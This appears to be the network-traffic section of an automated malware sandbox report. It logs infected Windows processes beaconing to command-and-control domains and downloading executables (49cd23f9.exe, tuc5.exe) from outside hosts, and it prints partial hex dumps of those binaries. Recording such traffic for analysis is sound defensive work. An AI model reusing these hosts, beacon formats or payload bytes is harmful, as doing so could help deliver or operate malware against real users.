70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
Dec 19, 2023 03:22:38.471920013 CET	278	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hmddntriufe.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 330 Host: stualialuyastrelia.net
Dec 19, 2023 03:22:38.759430885 CET	261	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Tue, 19 Dec 2023 02:22:38 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 39 0d 0a 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 f7 75 3a 52 86 19 c1 5d de fa 09 b4 20 fd 26 4c 17 34 ff 6b 4b 36 d4 00 2a 5f 2e d3 af 87 ed 8d 73 95 64 7e 0b 69 e3 b4 e8 fa 58 6e 96 77 7b b8 da 85 39 bf 06 26 fb 43 9d 0d 0a 30 0d 0a 0d 0a Data Ascii: 49Uys/~(u:R] &L4kK6*_.sd~iXnw{9&C0
Dec 19, 2023 03:22:42.974529028 CET	281	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://imshthbtfbibps.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 320 Host: stualialuyastrelia.net
Dec 19, 2023 03:22:43.262554884 CET	599	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Tue, 19 Dec 2023 02:22:43 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
Dec 19, 2023 03:22:43.265211105 CET	278	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://auowhsaidjr.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 360 Host: stualialuyastrelia.net
Dec 19, 2023 03:22:43.552694082 CET	241	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Tue, 19 Dec 2023 02:22:43 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 35 0d 0a 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 1e 87 14 d0 59 9c fe 09 b7 3a e5 3f 57 5b 38 be 65 0b 69 c3 57 3b 0f 7c c3 e2 90 a9 d6 71 8a 63 32 5d 0d 0a 30 0d 0a 0d 0a Data Ascii: 35Uys/~(`:Y:?W[8eiW;\|qc2]0
Dec 19, 2023 03:22:46.359025002 CET	278	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://kotuprbwtpd.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 257 Host: stualialuyastrelia.net
Dec 19, 2023 03:22:46.646193981 CET	599	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Tue, 19 Dec 2023 02:22:46 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49741	172.67.174.181	80	6544	C:\Users\user\AppData\Local\Temp\826E.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:22:27.723228931 CET	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: dayfarrichjwclik.fun
Dec 19, 2023 03:22:27.723257065 CET	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
Dec 19, 2023 03:22:58.612318039 CET	737	IN	HTTP/1.1 522 Date: Tue, 19 Dec 2023 02:22:58 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: keep-alive Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=O31XDICm79xechGUxB%2Fbb0pjYZt3vV0ovC6FBEm4GpDReeWuGMU1iBnFZjYZYOlBLhdkED461Y4zhv%2FqwlnYu0v6f5clvY0hVu55WlmG0IbM%2BwxROpmz9aSDQntJHn0su4G8PNZiBg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Server: cloudflare CF-RAY: 837c2d8f9cb5db29-MIA Data Raw: 65 72 72 6f 72 20 63 6f 64 65 3a 20 35 32 32 Data Ascii: error code: 522

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49745	172.67.174.181	80	4476	C:\Users\user\AppData\Local\Temp\933A.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:22:32.568125963 CET	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: dayfarrichjwclik.fun
Dec 19, 2023 03:22:32.568159103 CET	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
Dec 19, 2023 03:23:03.596189976 CET	743	IN	HTTP/1.1 522 Date: Tue, 19 Dec 2023 02:23:03 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: keep-alive Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=TF6Kf9akMfcTQr%2B8E4TKFEHf%2FiI9j7PegNjSmuyhFiYW%2FPgfYEF3TVY28amT%2FEZEwwI5dxr4Kne5motsQnMhn10cK%2Bu13bjc%2FRWe9JuzAMB4JY0ruNCQ1zGnA9qTWcTNaUltJ5hY2w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Server: cloudflare CF-RAY: 837c2dade87b4c21-MIA Data Raw: 65 72 72 6f 72 20 63 6f 64 65 3a 20 35 32 32 Data Ascii: error code: 522

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49747	211.53.230.67	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:22:34.382045984 CET	164	OUT	GET /ftp/index.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: ftpvoyager.cc
Dec 19, 2023 03:22:35.410123110 CET	1286	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Tue, 19 Dec 2023 02:22:35 GMT Content-Type: application/octet-stream Connection: close Content-Description: File Transfer Content-Disposition: attachment; filename=49cd23f9.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 1c 88 e0 62 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 62 02 00 00 7a 44 00 00 00 00 00 94 30 00 00 00 10 00 00 00 80 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 c0 46 00 00 04 00 00 ca 17 05 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 c3 02 00 78 00 00 00 00 e0 44 00 c8 de 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 81 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 b9 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 80 02 00 9c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 56 60 02 00 00 10 00 00 00 62 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 1a 4d 00 00 00 80 02 00 00 4e 00 00 00 66 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 e0 07 42 00 00 d0 02 00 00 1a 00 00 00 b4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 c8 de 01 00 00 e0 44 00 00 e0 01 00 00 ce 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELbbzD0@FxD0@.textV`b `.rdataMNf@@.dataB@.rsrcD@@
Dec 19, 2023 03:22:35.410170078 CET	1286	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 8b ec 56 8d 45 08 50 8b f1 e8 96 19 00 00 c7 06 10 82 42 Data Ascii: UVEPB^]BGUVEtV^]UEQRUQR]UEQRUQR]ffhB
Dec 19, 2023 03:22:35.744709015 CET	1286	IN	Data Raw: b8 42 00 6a 00 ff 15 50 80 42 00 33 c0 50 50 8d 4d e4 51 50 89 45 e4 89 45 e8 89 45 ec 89 45 f0 89 45 f4 ff 15 54 80 42 00 6a 00 6a 00 6a 00 6a 00 6a 00 6a 00 68 b0 b8 42 00 ff 15 b4 80 42 00 8b 55 fc 52 e8 3f fd ff ff 83 45 fc 08 83 6d f8 01 0f Data Ascii: BjPB3PPMQPEEEEETBjjjjjjhBBUR?EmQ_^[]UQEE_E]QhXBBUdjhpBPd%H=SVWjjEPjjj0BjjjjBjjD
Dec 19, 2023 03:22:35.744803905 CET	1286	IN	Data Raw: 74 26 83 7e 18 10 72 20 8d 46 04 57 8b 38 85 db 76 08 53 57 50 e8 a8 04 00 00 8b 46 18 40 50 57 8b ce e8 1b 01 00 00 5f 53 8b ce c7 46 18 0f 00 00 00 e8 cb 00 00 00 5e 5b 5d c2 08 00 cc cc cc cc cc 8b c1 c2 04 00 cc cc cc cc cc cc cc cc cc cc cc Data Ascii: t&~r FW8vSWPF@PW_SF^[]UxM]U}EVt$xrpW>vSWjJSE_@^]xr@
Dec 19, 2023 03:22:35.744842052 CET	1286	IN	Data Raw: fc 50 8b 45 10 51 e8 d1 00 00 00 8b e5 5d c2 0c 00 cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 51 e8 a7 00 00 00 8b 4d 08 8b 55 0c 88 45 fc 8b 45 fc 50 8b 45 10 51 e8 c1 00 00 00 8b e5 5d c2 0c 00 cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 83 ec 0c Data Ascii: PEQ]UQMUEEPEQ]Uw3QU]3sjMhBEPUEVPB^]UQE]PQjRvUQE]UPE]
Dec 19, 2023 03:22:35.744896889 CET	1286	IN	Data Raw: 28 8b 4e 18 83 f9 10 72 05 8b 46 04 eb 03 8d 46 04 ff 75 0c 57 51 50 e8 d3 fc ff ff 83 c4 10 ff 75 0c 8b ce e8 cd f6 ff ff 8b c6 5f 5e 5d c2 08 00 8b ff 55 8b ec 56 ff 75 08 8b f1 e8 85 0c 00 00 59 50 ff 75 08 8b ce e8 70 ff ff ff 5e 5d c2 04 00 Data Ascii: (NrFFuWQPu_^]UVuYPup^]UVjFu^]jDoBhLBMeEPM<hBEPUUVN;s+;MsM}vBFSW~rr?+
Dec 19, 2023 03:22:36.079161882 CET	1286	IN	Data Raw: eb 2f 83 f8 02 75 1c 38 5d e8 74 07 8b 45 e4 83 60 70 fd 6a 04 eb e8 f6 45 ec 01 75 ea f6 45 ec 02 75 ce 38 5d e8 74 07 8b 45 e4 83 60 70 fd 33 c0 8b 4d fc 5f 5e 33 cd 5b e8 4d 0c 00 00 c9 c3 8b ff 55 8b ec 6a 00 ff 75 0c ff 75 08 e8 46 ff ff ff Data Ascii: /u8]tE`pjEuEu8]tE`p3M_^3[MUjuuF]UEVW3;tG9}u:j^0WWWWW:)9}t9Es^:j"YPuuE53_^]``hBUS]VWhBt&PFV:YYG
Dec 19, 2023 03:22:36.079435110 CET	1286	IN	Data Raw: c3 8b ff 55 8b ec 6a 0a 6a 00 ff 75 08 e8 dc 4b 00 00 83 c4 0c 5d c3 8b ff 51 c7 01 88 82 42 00 e8 f4 4b 00 00 59 c3 8b ff 55 8b ec 56 8b f1 e8 e3 ff ff ff f6 45 08 01 74 07 56 e8 1a fe ff ff 59 8b c6 5e 5d c2 04 00 8b ff 55 8b ec 8b 45 08 83 c1 Data Ascii: UjjuK]QBKYUVEtVY^]UEQP-LYY@]UE}]UE}]VjhByB^UulLYtu5YtBBuBhBpB"YVM
Dec 19, 2023 03:22:36.079452991 CET	1286	IN	Data Raw: d8 64 a3 00 00 00 00 c7 45 c8 01 00 00 00 8b 45 08 89 45 cc 8b 45 10 89 45 d0 e8 64 17 00 00 8b 80 80 00 00 00 89 45 d4 8d 45 cc 50 8b 45 08 ff 30 ff 55 d4 59 59 83 65 c8 00 83 7d fc 00 74 17 64 8b 1d 00 00 00 00 8b 03 8b 5d d8 89 03 64 89 1d 00 Data Ascii: dEEEEEdEEPE0UYYe}td]dEdE[UQSEH3ME@ftE@$3@ljjEpEpEpjuEpu[ Ex$uuujjjjjEPh#E
Dec 19, 2023 03:22:36.079466105 CET	1286	IN	Data Raw: 00 00 8b f8 e8 1f 10 00 00 89 06 ff d7 ff 35 d0 d7 84 00 e8 19 10 00 00 8b f8 ff 35 cc d7 84 00 e8 0c 10 00 00 83 c4 0c 39 7d e4 75 05 39 45 e0 74 0e 89 7d e4 89 7d d8 89 45 e0 8b f0 89 75 dc 8b 7d d8 eb 9f 68 cc 81 42 00 b8 c8 81 42 00 e8 5f fe Data Ascii: 559}u9Et}}Eu}hBB_YhBBOYE}u(BjZYu3C}tjZY'/Ujju]Ujju]jjjjjjV
Dec 19, 2023 03:22:36.079478979 CET	1286	IN	Data Raw: fc ff 34 c5 b4 d0 42 00 53 57 e8 72 5b 00 00 83 c4 0c 85 c0 74 0d 56 56 56 56 56 e8 2c 25 00 00 83 c4 14 68 10 20 01 00 68 30 88 42 00 57 e8 e5 59 00 00 83 c4 0c eb 32 6a f4 ff 15 e4 80 42 00 8b d8 3b de 74 24 83 fb ff 74 1f 6a 00 8d 45 f8 50 8d Data Ascii: 4BSWr[tVVVVV,%h h0BWY2jB;t$tjEP4B6IYP6SB_^[j4\Ytj'\Yu=Buh)hYY-t"ttHt3VWh3FWPJ3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49753	104.21.46.59	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:22:43.842034101 CET	171	OUT	GET /order/tuc5.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: cream.hitsturbo.com
Dec 19, 2023 03:22:44.295650959 CET	1286	IN	HTTP/1.1 200 OK Date: Tue, 19 Dec 2023 02:22:44 GMT Content-Type: application/octet-stream Content-Length: 6872767 Connection: keep-alive Content-Description: File Transfer Content-Disposition: attachment; filename=tuc5.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=v9VWJeuihr7BiRLOCBN9zXISbFJzcPaVawlOiUpceqoXoKF97xa0lV87HmyGxAJ4SES6PnVNNF43dBO2dCav%2F4DnbCQ71WCkZGqVAlUsiOg2da%2BwLJL8rCgXRp1WP0l%2F7Ypa4OFq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 837c2df45e335c69-MIA alt-svc: h3=":443"; ma=86400 Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 74 fe 80 65 00 00 00 00 00 00 00 00 e0 00 8f 81 0b 01 02 19 00 94 00 00 00 46 00 00 00 00 00 00 40 9c 00 00 00 10 00 00 00 b0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 01 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 40 01 00 00 04 00 00 00 00 00 00 02 00 00 80 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 50 09 00 00 00 10 01 00 00 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 4f 44 45 00 00 00 00 64 93 00 00 00 10 00 00 00 94 00 00 00 Data Ascii: MZP@!L!This program must be run under Win32$7PELteF@@@@P,CODEd
Dec 19, 2023 03:22:44.295665026 CET	1286	IN	Data Raw: 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 44 41 54 41 00 00 00 00 4c 02 00 00 00 b0 00 00 00 04 00 00 00 98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 42 53 53 00 00 00 00 00 4c 0e 00 00 00 c0 00 00 00 00 00 00 00 9c 00 Data Ascii: `DATAL@BSSL.idataP@.tls.rdata@P.reloc
Dec 19, 2023 03:22:44.295737982 CET	1286	IN	Data Raw: c3 8b 50 04 8b 08 89 0a 89 51 04 8b 15 38 c4 40 00 89 10 a3 38 c4 40 00 c3 53 56 57 55 51 8b f1 89 14 24 8b e8 8b 5d 00 8b 04 24 8b 10 89 16 8b 50 04 89 56 04 8b 3b 8b 43 08 8b d0 03 53 0c 3b 16 75 14 8b c3 e8 b7 ff ff ff 8b 43 08 89 06 8b 43 0c Data Ascii: PQ8@8@SVWUQ$]$PV;CS;uCCFV;uCF;uUu3Z]_^[@SVWU2C;rlJk;w^;uBCB)C{uD5;r{;u)s&J$+\|$
Dec 19, 2023 03:22:44.295751095 CET	1286	IN	Data Raw: 0c 00 0f 85 66 ff ff ff 8d 4c 24 0c 8b 54 24 08 8b 44 24 04 e8 da fc ff ff 8b 04 24 33 d2 89 10 eb 48 8b 6b 08 3b f5 75 3a 3b 7b 0c 7f 35 8b 0c 24 8b d7 8b c5 e8 71 fd ff ff 8b 04 24 83 38 00 74 28 8b 04 24 8b 40 04 01 43 08 8b 04 24 8b 40 04 29 Data Ascii: fL$T$D$$3Hk;u:;{5$q$8t($@C$@)C{u$3]_^[SVW$?4$;s[+L$L@]\$tL$T$&D$D$D$D$\|$tT$L@
Dec 19, 2023 03:22:44.295764923 CET	1286	IN	Data Raw: d6 c1 ea 02 a1 74 c4 40 00 8b 44 90 f4 85 c0 75 10 a1 74 c4 40 00 89 5c 90 f4 89 5b 04 89 1b eb 3a 8b 10 89 43 04 89 13 89 18 89 5a 04 eb 2c 81 fe 00 3c 00 00 7c 0d 8b d6 8b c7 e8 09 ff ff ff 84 c0 75 17 a1 68 c4 40 00 89 1d 68 c4 40 00 8b 10 89 Data Ascii: t@Dut@\[:CZ,<\|uh@h@CZ_^[=l@~@=l@}@+l@p@p@3p@3l@SVW<$L$x@<\$u3R;s)GG
Dec 19, 2023 03:22:44.295782089 CET	1286	IN	Data Raw: 00 00 03 da 8b f0 e8 90 f8 ff ff 81 e3 fc ff ff 7f 8b c6 03 c3 8b f8 3b 3d 70 c4 40 00 75 2c 29 1d 70 c4 40 00 01 1d 6c c4 40 00 81 3d 6c c4 40 00 00 3c 00 00 7e 05 e8 1f fb ff ff 33 c0 89 45 fc e8 e9 0c 00 00 e9 85 00 00 00 8b 10 f6 c2 02 74 1c Data Ascii: ;=p@u,)p@l@=l@<~3Et}@7)xt8tx}@P;@E3ZYYdh"@=2@th@E_^[Y]SVWU}
